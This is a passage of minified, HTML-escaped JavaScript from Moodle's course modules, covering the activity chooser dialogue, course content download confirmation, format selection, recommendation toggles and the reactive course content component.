activeSectionId=e.target.getAttribute(&quot;href&quot;),activeSectionChooserOptions=body[0].querySelector(_selectors.default.regions.getSectionChooserOptions(activeSectionId)),firstChooserOption=activeSectionChooserOptions.querySelector(_selectors.default.regions.chooserOption.container),prevActiveSectionId=e.relatedTarget.getAttribute(&quot;href&quot;),prevActiveSectionChooserOptions=body[0].querySelector(_selectors.default.regions.getSectionChooserOptions(prevActiveSectionId));disableFocusAllChooserOptions(prevActiveSectionChooserOptions),toggleFocusableChooserOption(firstChooserOption,!0),initChooserOptionsKeyboardNavigation(body[0],mappedModules,activeSectionChooserOptions,modal)}))})).catch(_notification.default.exception)})(modal,mappedModules),modal.getRoot().on(ModalEvents.hidden,(()=&gt;{modal.destroy()})),modal))).catch()}}));
define(&quot;core_course/activitychooser&quot;,[&quot;exports&quot;,&quot;core_course/local/activitychooser/dialogue&quot;,&quot;core_course/local/activitychooser/repository&quot;,&quot;core_course/local/activitychooser/selectors&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/templates&quot;,&quot;core/modal_factory&quot;,&quot;core/str&quot;,&quot;core/pending&quot;],(function(_exports,ChooserDialogue,Repository,_selectors,_custom_interaction_events,Templates,ModalFactory,_str,_pending){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}
/**
   * A type of dialogue used as for choosing modules in a course.
   *
   * @module     core_course/activitychooser
   * @copyright  2020 Mathew May &lt;mathew.solutions&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,ChooserDialogue=_interopRequireWildcard(ChooserDialogue),Repository=_interopRequireWildcard(Repository),_selectors=_interopRequireDefault(_selectors),_custom_interaction_events=_interopRequireDefault(_custom_interaction_events),Templates=_interopRequireWildcard(Templates),ModalFactory=_interopRequireWildcard(ModalFactory),_pending=_interopRequireDefault(_pending);_exports.init=(courseId,chooserConfig)=&gt;{const pendingPromise=new _pending.default;registerListenerEvents(courseId,chooserConfig),pendingPromise.resolve()};const registerListenerEvents=(courseId,chooserConfig)=&gt;{const events=[&quot;click&quot;,_custom_interaction_events.default.events.activate,_custom_interaction_events.default.events.keyboardActivate],fetchModuleData=(()=&gt;{let innerPromise=null;return()=&gt;(innerPromise||(innerPromise=new Promise((resolve=&gt;{resolve(Repository.activityModules(courseId))}))),innerPromise)})(),fetchFooterData=(()=&gt;{let footerInnerPromise=null;return sectionId=&gt;(footerInnerPromise||(footerInnerPromise=new Promise((resolve=&gt;{resolve(Repository.fetchFooterData(courseId,sectionId))}))),footerInnerPromise)})();_custom_interaction_events.default.define(document,events),events.forEach((event=&gt;{document.addEventListener(event,(async e=&gt;{if(e.target.closest(_selectors.default.elements.sectionmodchooser)){let caller;const sectionDiv=e.target.closest(_selectors.default.elements.section),button=e.target.closest(_selectors.default.elements.sectionmodchooser);let bodyPromiseResolver;caller=null!==sectionDiv&amp;&amp;sectionDiv.hasAttribute(&quot;data-sectionid&quot;)?sectionDiv:button;const bodyPromise=new Promise((resolve=&gt;{bodyPromiseResolver=resolve})),footerData=await fetchFooterData(caller.dataset.sectionid),sectionModal=buildModal(bodyPromise,footerData),data=await fetchModuleData().catch((async e=&gt;{const errorTemplateData={errormessage:e.message};bodyPromiseResolver(await Templates.render(&quot;core_course/local/activitychooser/error&quot;,errorTemplateData))}));if(!data)return;const builtModuleData=sectionIdMapper(data,caller.dataset.sectionid,caller.dataset.sectionreturnid);ChooserDialogue.displayChooser(sectionModal,builtModuleData,partiallyAppliedFavouriteManager(data,caller.dataset.sectionid),footerData),bodyPromiseResolver(await Templates.render(&quot;core_course/activitychooser&quot;,templateDataBuilder(builtModuleData,chooserConfig)))}}))}))},sectionIdMapper=(webServiceData,id,sectionreturnid)=&gt;{const newData=JSON.parse(JSON.stringify(webServiceData));return newData.content_items.forEach((module=&gt;{module.link+=&quot;&amp;section=&quot;+id+&quot;&amp;sr=&quot;+(null!=sectionreturnid?sectionreturnid:0)})),newData.content_items},templateDataBuilder=(data,chooserConfig)=&gt;{let activities=[],resources=[],showAll=!0,showActivities=!1,showResources=!1;const tabMode=parseInt(chooserConfig.tabmode),favourites=data.filter((mod=&gt;!0===mod.favourite)),recommended=data.filter((mod=&gt;!0===mod.recommended));0!==tabMode&amp;&amp;2!==tabMode||1===tabMode||(activities=data.filter((mod=&gt;0===mod.archetype)),resources=data.filter((mod=&gt;1===mod.archetype)),showActivities=!0,showResources=!0,2===tabMode&amp;&amp;(showAll=!1));const favouritesFirst=!!favourites.length;return{default:data,showAll:showAll,activities:activities,showActivities:showActivities,activitiesFirst:!1===showAll&amp;&amp;!1===favouritesFirst,resources:resources,showResources:showResources,favourites:favourites,recommended:recommended,favouritesFirst:favouritesFirst,fallback:!0===showAll&amp;&amp;!1===favouritesFirst}},buildModal=(bodyPromise,footer)=&gt;ModalFactory.create({type:ModalFactory.types.DEFAULT,title:(0,_str.get_string)(&quot;addresourceoractivity&quot;),body:bodyPromise,footer:footer.customfootertemplate,large:!0,scrollable:!1,templateContext:{classes:&quot;modchooser&quot;}}).then((modal=&gt;(modal.show(),modal))),partiallyAppliedFavouriteManager=(moduleData,sectionId)=&gt;async(internal,favourite,modalBody)=&gt;{const favouriteArea=modalBody.querySelector(_selectors.default.render.favourites),favouriteButtons=modalBody.querySelectorAll(&#039;[data-internal=&quot;&#039;.concat(internal,&#039;&quot;] &#039;).concat(_selectors.default.actions.optionActions.manageFavourite)),favouriteTabNav=modalBody.querySelector(_selectors.default.regions.favouriteTabNav),result=moduleData.content_items.find((_ref=&gt;{let{name:name}=_ref;return name===internal})),newFaves={};if(result)if(favourite){result.favourite=!0,newFaves.content_items=moduleData.content_items.filter((mod=&gt;!0===mod.favourite));const builtFaves=sectionIdMapper(newFaves,sectionId),{html:html,js:js}=await Templates.renderForPromise(&quot;core_course/local/activitychooser/favourites&quot;,{favourites:builtFaves});await Templates.replaceNodeContents(favouriteArea,html,js),Array.from(favouriteButtons).forEach((element=&gt;{element.classList.remove(&quot;text-muted&quot;),element.classList.add(&quot;text-primary&quot;),element.dataset.favourited=&quot;true&quot;,element.setAttribute(&quot;aria-pressed&quot;,!0),element.firstElementChild.classList.remove(&quot;fa-star-o&quot;),element.firstElementChild.classList.add(&quot;fa-star&quot;)})),favouriteTabNav.classList.remove(&quot;d-none&quot;)}else{result.favourite=!1;const nodeToRemove=favouriteArea.querySelector(&#039;[data-internal=&quot;&#039;.concat(internal,&#039;&quot;]&#039;));nodeToRemove.parentNode.removeChild(nodeToRemove),Array.from(favouriteButtons).forEach((element=&gt;{element.classList.add(&quot;text-muted&quot;),element.classList.remove(&quot;text-primary&quot;),element.dataset.favourited=&quot;false&quot;,element.setAttribute(&quot;aria-pressed&quot;,!1),element.firstElementChild.classList.remove(&quot;fa-star&quot;),element.firstElementChild.classList.add(&quot;fa-star-o&quot;)}));0===moduleData.content_items.filter((mod=&gt;!0===mod.favourite)).length&amp;&amp;((favouriteTabNav,modalBody)=&gt;{if(favouriteTabNav.tabIndex=-1,favouriteTabNav.classList.add(&quot;d-none&quot;),favouriteTabNav.classList.contains(&quot;active&quot;)){favouriteTabNav.classList.remove(&quot;active&quot;),favouriteTabNav.setAttribute(&quot;aria-selected&quot;,&quot;false&quot;),modalBody.querySelector(_selectors.default.regions.favouriteTab).classList.remove(&quot;active&quot;);const defaultTabNav=modalBody.querySelector(_selectors.default.regions.defaultTabNav),activitiesTabNav=modalBody.querySelector(_selectors.default.regions.activityTabNav);!1===defaultTabNav.classList.contains(&quot;d-none&quot;)?(defaultTabNav.classList.add(&quot;active&quot;),defaultTabNav.setAttribute(&quot;aria-selected&quot;,&quot;true&quot;),defaultTabNav.tabIndex=0,defaultTabNav.focus(),modalBody.querySelector(_selectors.default.regions.defaultTab).classList.add(&quot;active&quot;)):(activitiesTabNav.classList.add(&quot;active&quot;),activitiesTabNav.setAttribute(&quot;aria-selected&quot;,&quot;true&quot;),activitiesTabNav.tabIndex=0,activitiesTabNav.focus(),modalBody.querySelector(_selectors.default.regions.activityTab).classList.add(&quot;active&quot;))}})(favouriteTabNav,modalBody)}}}));
define(&quot;core_course/events&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={favourited:&quot;core_course:favourited&quot;,unfavorited:&quot;core_course:unfavorited&quot;,manualCompletionToggled:&quot;core_course:manualcompletiontoggled&quot;,stateChanged:&quot;core_course:stateChanged&quot;,sectionRefreshed:&quot;core_course:sectionRefreshed&quot;},_exports.default}));
define(&quot;core_course/downloadcontent&quot;,[&quot;exports&quot;,&quot;core/config&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/modal_factory&quot;,&quot;jquery&quot;,&quot;core/pending&quot;,&quot;core/key_codes&quot;],(function(_exports,_config,_custom_interaction_events,ModalFactory,_jquery,_pending,_key_codes){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Functions related to downloading course content.
   *
   * @module     core_course/downloadcontent
   * @copyright  2020 Michael Hawkins &lt;michaelh@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_config=_interopRequireDefault(_config),_custom_interaction_events=_interopRequireDefault(_custom_interaction_events),ModalFactory=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(ModalFactory),_jquery=_interopRequireDefault(_jquery),_pending=_interopRequireDefault(_pending);_exports.init=()=&gt;{const pendingPromise=new _pending.default;(0,_jquery.default)(&quot;[data-downloadcourse]&quot;).on(&quot;click keydown&quot;,(e=&gt;{&quot;click&quot;!==e.type&amp;&amp;e.which!==_key_codes.enter&amp;&amp;e.which!==_key_codes.space||(e.preventDefault(),displayDownloadConfirmation(e.currentTarget))})),pendingPromise.resolve()};const displayDownloadConfirmation=downloadModalTrigger=&gt;{ModalFactory.create({title:downloadModalTrigger.dataset.downloadTitle,type:ModalFactory.types.SAVE_CANCEL,body:&quot;&lt;p&gt;&quot;.concat(downloadModalTrigger.dataset.downloadBody,&quot;&lt;/p&gt;&quot;),buttons:{save:downloadModalTrigger.dataset.downloadButtonText},templateContext:{classes:&quot;downloadcoursecontentmodal&quot;}}).then((modal=&gt;{modal.show();const saveButton=document.querySelector(&#039;.modal .downloadcoursecontentmodal [data-action=&quot;save&quot;]&#039;),cancelButton=document.querySelector(&#039;.modal .downloadcoursecontentmodal [data-action=&quot;cancel&quot;]&#039;),modalContainer=document.querySelector(&#039;.modal[data-region=&quot;modal-container&quot;]&#039;);(0,_jquery.default)(saveButton).on(_custom_interaction_events.default.events.activate,(e=&gt;downloadContent(e,downloadModalTrigger,modal))),(0,_jquery.default)(cancelButton).on(_custom_interaction_events.default.events.activate,(()=&gt;{modal.destroy()})),modalContainer.querySelector(&quot;.downloadcoursecontentmodal&quot;)&amp;&amp;(0,_jquery.default)(modalContainer).on(_custom_interaction_events.default.events.activate,(()=&gt;{modal.destroy()}))}))},downloadContent=(e,downloadModalTrigger,modal)=&gt;{e.preventDefault();const downloadForm=document.createElement(&quot;form&quot;);downloadForm.action=downloadModalTrigger.dataset.downloadLink,downloadForm.method=&quot;POST&quot;,downloadForm.target=&quot;_blank&quot;;const downloadSesskey=document.createElement(&quot;input&quot;);downloadSesskey.name=&quot;sesskey&quot;,downloadSesskey.value=_config.default.sesskey,downloadForm.appendChild(downloadSesskey),downloadForm.style.display=&quot;none&quot;,document.body.appendChild(downloadForm),downloadForm.submit(),document.body.removeChild(downloadForm),modal.destroy()}}));
define(&quot;core_course/formatchooser&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0;
/**
   * Course format selection handler.
   *
   * @module     core_course/formatchooser
   * @copyright  2022 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since      4.0
   */
const Selectors_fields={selector:&#039;[data-formatchooser-field=&quot;selector&quot;]&#039;,updateButton:&#039;[data-formatchooser-field=&quot;updateButton&quot;]&#039;};_exports.init=()=&gt;{document.querySelector(Selectors_fields.selector).addEventListener(&quot;change&quot;,(e=&gt;{const form=e.target.closest(&quot;form&quot;),updateButton=form.querySelector(Selectors_fields.updateButton),fieldset=updateButton.closest(&quot;fieldset&quot;),url=new URL(form.action);url.hash=fieldset.id,form.action=url.toString(),updateButton.click()}))}}));
define(&quot;core_course/recommendations&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;],(function(_exports,_ajax,_notification){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * A javascript module to handle toggling activity chooser recommendations.
   *
   * @module     core_course/recommendations
   * @copyright  2020 Adrian Greeve &lt;adrian@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_ajax=_interopRequireDefault(_ajax),_notification=_interopRequireDefault(_notification);const toggleRecommendation=e=&gt;{let data={methodname:&quot;core_course_toggle_activity_recommendation&quot;,args:{area:e.currentTarget.dataset.area,id:e.currentTarget.dataset.id}};_ajax.default.call([data])[0].fail(_notification.default.exception)};_exports.init=()=&gt;{document.querySelectorAll(&quot;[data-area]&quot;).forEach((checkbox=&gt;{checkbox.addEventListener(&quot;change&quot;,toggleRecommendation)}))}}));
define(&quot;core_courseformat/local/content&quot;,[&quot;exports&quot;,&quot;core/reactive&quot;,&quot;core_courseformat/courseeditor&quot;,&quot;core/inplace_editable&quot;,&quot;core_courseformat/local/content/section&quot;,&quot;core_courseformat/local/content/section/cmitem&quot;,&quot;core_course/actions&quot;,&quot;core_courseformat/local/content/actions&quot;,&quot;core_course/events&quot;],(function(_exports,_reactive,_courseeditor,_inplace_editable,_section,_cmitem,_actions,_actions2,CourseEvents){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Course index main component.
   *
   * @module     core_courseformat/local/content
   * @class      core_courseformat/local/content
   * @copyright  2020 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_inplace_editable=_interopRequireDefault(_inplace_editable),_section=_interopRequireDefault(_section),_cmitem=_interopRequireDefault(_cmitem),_actions=_interopRequireDefault(_actions),_actions2=_interopRequireDefault(_actions2),CourseEvents=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(CourseEvents);class Component extends _reactive.BaseComponent{create(descriptor){var _descriptor$sectionRe;this.name=&quot;course_format&quot;,this.selectors={SECTION:&quot;[data-for=&#039;section&#039;]&quot;,SECTION_ITEM:&quot;[data-for=&#039;section_title&#039;]&quot;,SECTION_CMLIST:&quot;[data-for=&#039;cmlist&#039;]&quot;,COURSE_SECTIONLIST:&quot;[data-for=&#039;course_sectionlist&#039;]&quot;,CM:&quot;[data-for=&#039;cmitem&#039;]&quot;,PAGE:&quot;#page&quot;,TOGGLER:&#039;[data-action=&quot;togglecoursecontentsection&quot;]&#039;,COLLAPSE:&#039;[data-toggle=&quot;collapse&quot;]&#039;,TOGGLEALL:&#039;[data-toggle=&quot;toggleall&quot;]&#039;,ACTIVITYTAG:&quot;li&quot;,SECTIONTAG:&quot;li&quot;},this.classes={COLLAPSED:&quot;collapsed&quot;,ACTIVITY:&quot;activity&quot;,STATEDREADY:&quot;stateready&quot;,SECTION:&quot;section&quot;},this.dettachedCms={},this.dettachedSections={},this.sections={},this.cms={},this.sectionReturn=null!==(_descriptor$sectionRe=descriptor.sectionReturn)&amp;&amp;void 0!==_descriptor$sectionRe?_descriptor$sectionRe:0}static init(target,selectors,sectionReturn){return new Component({element:document.getElementById(target),reactive:(0,_courseeditor.getCurrentCourseEditor)(),selectors:selectors,sectionReturn:sectionReturn})}stateReady(state){this._indexContents(),this.addEventListener(this.element,&quot;click&quot;,this._sectionTogglers);const toogleAll=this.getElement(this.selectors.TOGGLEALL);if(toogleAll){const collapseElementIds=[...this.getElements(this.selectors.COLLAPSE)].map((element=&gt;element.id));toogleAll.setAttribute(&quot;aria-controls&quot;,collapseElementIds.join(&quot; &quot;)),this.addEventListener(toogleAll,&quot;click&quot;,this._allSectionToggler),this.addEventListener(toogleAll,&quot;keydown&quot;,(e=&gt;{&quot; &quot;===e.key&amp;&amp;this._allSectionToggler(e)})),this._refreshAllSectionsToggler(state)}this.reactive.supportComponents&amp;&amp;(this.reactive.isEditing&amp;&amp;new _actions2.default(this),this.element.classList.add(this.classes.STATEDREADY)),this.addEventListener(this.element,CourseEvents.manualCompletionToggled,this._completionHandler),this.addEventListener(document.querySelector(this.selectors.PAGE),&quot;scroll&quot;,this._scrollHandler)}_sectionTogglers(event){const sectionlink=event.target.closest(this.selectors.TOGGLER),isChevron=event.target.closest(this.selectors.COLLAPSE);if(sectionlink||isChevron){var _toggler$classList$co;const section=event.target.closest(this.selectors.SECTION),toggler=section.querySelector(this.selectors.COLLAPSE),isCollapsed=null!==(_toggler$classList$co=null==toggler?void 0:toggler.classList.contains(this.classes.COLLAPSED))&amp;&amp;void 0!==_toggler$classList$co&amp;&amp;_toggler$classList$co;if(isChevron||isCollapsed){const sectionId=section.getAttribute(&quot;data-id&quot;);this.reactive.dispatch(&quot;sectionContentCollapsed&quot;,[sectionId],!isCollapsed)}}}_allSectionToggler(event){var _course$sectionlist;event.preventDefault();const isAllCollapsed=event.target.closest(this.selectors.TOGGLEALL).classList.contains(this.classes.COLLAPSED),course=this.reactive.get(&quot;course&quot;);this.reactive.dispatch(&quot;sectionContentCollapsed&quot;,null!==(_course$sectionlist=course.sectionlist)&amp;&amp;void 0!==_course$sectionlist?_course$sectionlist:[],!isAllCollapsed)}getWatchers(){return this.reactive.sectionReturn=this.sectionReturn,this.reactive.supportComponents?[{watch:&quot;cm.visible:updated&quot;,handler:this._reloadCm},{watch:&quot;section.number:updated&quot;,handler:this._refreshSectionNumber},{watch:&quot;section.contentcollapsed:updated&quot;,handler:this._refreshSectionCollapsed},{watch:&quot;transaction:start&quot;,handler:this._startProcessing},{watch:&quot;course.sectionlist:updated&quot;,handler:this._refreshCourseSectionlist},{watch:&quot;section.cmlist:updated&quot;,handler:this._refreshSectionCmlist},{watch:&quot;state:updated&quot;,handler:this._indexContents},{watch:&quot;cm.visible:updated&quot;,handler:this._reloadCm},{watch:&quot;cm.sectionid:updated&quot;,handler:this._reloadCm}]:[]}_refreshSectionCollapsed(_ref){var _toggler$classList$co2;let{state:state,element:element}=_ref;const target=this.getElement(this.selectors.SECTION,element.id);if(!target)throw new Error(&quot;Unknown section with ID &quot;.concat(element.id));const toggler=target.querySelector(this.selectors.COLLAPSE),isCollapsed=null!==(_toggler$classList$co2=null==toggler?void 0:toggler.classList.contains(this.classes.COLLAPSED))&amp;&amp;void 0!==_toggler$classList$co2&amp;&amp;_toggler$classList$co2;element.contentcollapsed!==isCollapsed&amp;&amp;toggler.click(),this._refreshAllSectionsToggler(state)}_refreshAllSectionsToggler(state){const target=this.getElement(this.selectors.TOGGLEALL);if(!target)return;let allcollapsed=!0,allexpanded=!0;state.section.forEach((section=&gt;{allcollapsed=allcollapsed&amp;&amp;section.contentcollapsed,allexpanded=allexpanded&amp;&amp;!section.contentcollapsed})),allcollapsed&amp;&amp;(target.classList.add(this.classes.COLLAPSED),target.setAttribute(&quot;aria-expanded&quot;,!1)),allexpanded&amp;&amp;(target.classList.remove(this.classes.COLLAPSED),target.setAttribute(&quot;aria-expanded&quot;,!0))}_startProcessing(){this.dettachedCms={},this.dettachedSections={}}_completionHandler(_ref2){let{detail:detail}=_ref2;void 0!==detail&amp;&amp;this.reactive.dispatch(&quot;cmCompletion&quot;,[detail.cmid],detail.completed)}_scrollHandler(){const pageOffset=document.querySelector(this.selectors.PAGE).scrollTop,items=this.reactive.getExporter().allItemsArray(this.reactive.state);let pageItem=null;items.every((item=&gt;{const index=&quot;section&quot;===item.type?this.sections:this.cms;if(void 0===index[item.id])return!0;const element=index[item.id].element;return&quot;cm&quot;!==item.type||item.url||this.reactive.isEditing?(pageItem=item,pageOffset&gt;=element.offsetTop):pageOffset&gt;=element.offsetTop})),pageItem&amp;&amp;this.reactive.dispatch(&quot;setPageItem&quot;,pageItem.type,pageItem.id)}_refreshSectionNumber(_ref3){let{element:element}=_ref3;const target=this.getElement(this.selectors.SECTION,element.id);if(!target)return;target.id=&quot;section-&quot;.concat(element.number),target.dataset.sectionid=element.number,target.dataset.number=element.number;const inplace=_inplace_editable.default.getInplaceEditable(target.querySelector(this.selectors.SECTION_ITEM));if(inplace){const currentvalue=inplace.getValue(),currentitemid=inplace.getItemId();&quot;&quot;===inplace.getValue()&amp;&amp;(currentitemid!=element.id||currentvalue==element.rawtitle&amp;&amp;&quot;&quot;!=element.rawtitle||inplace.setValue(element.rawtitle))}}_refreshSectionCmlist(_ref4){var _element$cmlist;let{element:element}=_ref4;const cmlist=null!==(_element$cmlist=element.cmlist)&amp;&amp;void 0!==_element$cmlist?_element$cmlist:[],section=this.getElement(this.selectors.SECTION,element.id),listparent=null==section?void 0:section.querySelector(this.selectors.SECTION_CMLIST),createCm=this._createCmItem.bind(this);listparent&amp;&amp;this._fixOrder(listparent,cmlist,this.selectors.CM,this.dettachedCms,createCm)}_refreshCourseSectionlist(_ref5){var _element$sectionlist;let{element:element}=_ref5;if(0!=this.reactive.sectionReturn)return;const sectionlist=null!==(_element$sectionlist=element.sectionlist)&amp;&amp;void 0!==_element$sectionlist?_element$sectionlist:[],listparent=this.getElement(this.selectors.COURSE_SECTIONLIST),createSection=this._createSectionItem.bind(this);listparent&amp;&amp;this._fixOrder(listparent,sectionlist,this.selectors.SECTION,this.dettachedSections,createSection)}_indexContents(){this._scanIndex(this.selectors.SECTION,this.sections,(item=&gt;new _section.default(item))),this._scanIndex(this.selectors.CM,this.cms,(item=&gt;new _cmitem.default(item)))}_scanIndex(selector,index,creationhandler){this.getElements(&quot;&quot;.concat(selector,&quot;:not([data-indexed])&quot;)).forEach((item=&gt;{var _item$dataset;null!=item&amp;&amp;null!==(_item$dataset=item.dataset)&amp;&amp;void 0!==_item$dataset&amp;&amp;_item$dataset.id&amp;&amp;(void 0!==index[item.dataset.id]&amp;&amp;index[item.dataset.id].unregister(),index[item.dataset.id]=creationhandler({...this,element:item}),item.dataset.indexed=!0)}))}_reloadCm(_ref6){let{element:element}=_ref6;const cmitem=this.getElement(this.selectors.CM,element.id);if(cmitem){_actions.default.refreshModule(cmitem,element.id).then((()=&gt;{this._indexContents()})).catch()}}_reloadSection(_ref7){let{element:element}=_ref7;const sectionitem=this.getElement(this.selectors.SECTION,element.id);if(sectionitem){_actions.default.refreshSection(sectionitem,element.id).then((()=&gt;{this._indexContents()})).catch()}}_createCmItem(container,cmid){const newItem=document.createElement(this.selectors.ACTIVITYTAG);return newItem.dataset.for=&quot;cmitem&quot;,newItem.dataset.id=cmid,newItem.id=&quot;module-&quot;.concat(cmid),newItem.classList.add(this.classes.ACTIVITY),container.append(newItem),this._reloadCm({element:this.reactive.get(&quot;cm&quot;,cmid)}),newItem}_createSectionItem(container,sectionid){const section=this.reactive.get(&quot;section&quot;,sectionid),newItem=document.createElement(this.selectors.SECTIONTAG);return newItem.dataset.for=&quot;section&quot;,newItem.dataset.id=sectionid,newItem.dataset.number=section.number,newItem.id=&quot;section-&quot;.concat(sectionid),newItem.classList.add(this.classes.SECTION),container.append(newItem),this._reloadSection({element:section}),newItem}async _fixOrder(container,neworder,selector,dettachedelements,createMethod){if(void 0===container)return;if(!neworder.length)return container.classList.add(&quot;hidden&quot;),void(container.innerHTML=&quot;&quot;);let dndFakeActivity;for(container.classList.remove(&quot;hidden&quot;),neworder.forEach(((itemid,index)=&gt;{var _ref8,_this$getElement;let item=null!==(_ref8=null!==(_this$getElement=this.getElement(selector,itemid))&amp;&amp;void 0!==_this$getElement?_this$getElement:dettachedelements[itemid])&amp;&amp;void 0!==_ref8?_ref8:createMethod(container,itemid);if(void 0===item)return;const currentitem=container.children[index];void 0!==currentitem?currentitem!==item&amp;&amp;container.insertBefore(item,currentitem):container.append(item)}));container.children.length&gt;neworder.length;){var _lastchild$classList;const lastchild=container.lastChild;var _lastchild$dataset$id,_lastchild$dataset;if(null!=lastchild&amp;&amp;null!==(_lastchild$classList=lastchild.classList)&amp;&amp;void 0!==_lastchild$classList&amp;&amp;_lastchild$classList.contains(&quot;dndupload-preview&quot;))dndFakeActivity=lastchild;else dettachedelements[null!==(_lastchild$dataset$id=null==lastchild||null===(_lastchild$dataset=lastchild.dataset)||void 0===_lastchild$dataset?void 0:_lastchild$dataset.id)&amp;&amp;void 0!==_lastchild$dataset$id?_lastchild$dataset$id:0]=lastchild;container.removeChild(lastchild)}dndFakeActivity&amp;&amp;container.append(dndFakeActivity)}}return _exports.default=Component,_exports.default}));
define(&quot;core_courseformat/local/courseeditor/dndcmitem&quot;,[&quot;exports&quot;,&quot;core/reactive&quot;],(function(_exports,_reactive){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;
/**
   * Course index cm component.
   *
   * This component is used to control specific course modules interactions like drag and drop
   * in both course index and course content.
   *
   * @module     core_courseformat/local/courseeditor/dndcmitem
   * @class      core_courseformat/local/courseeditor/dndcmitem
   * @copyright  2021 Ferran Recio &lt;ferran@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
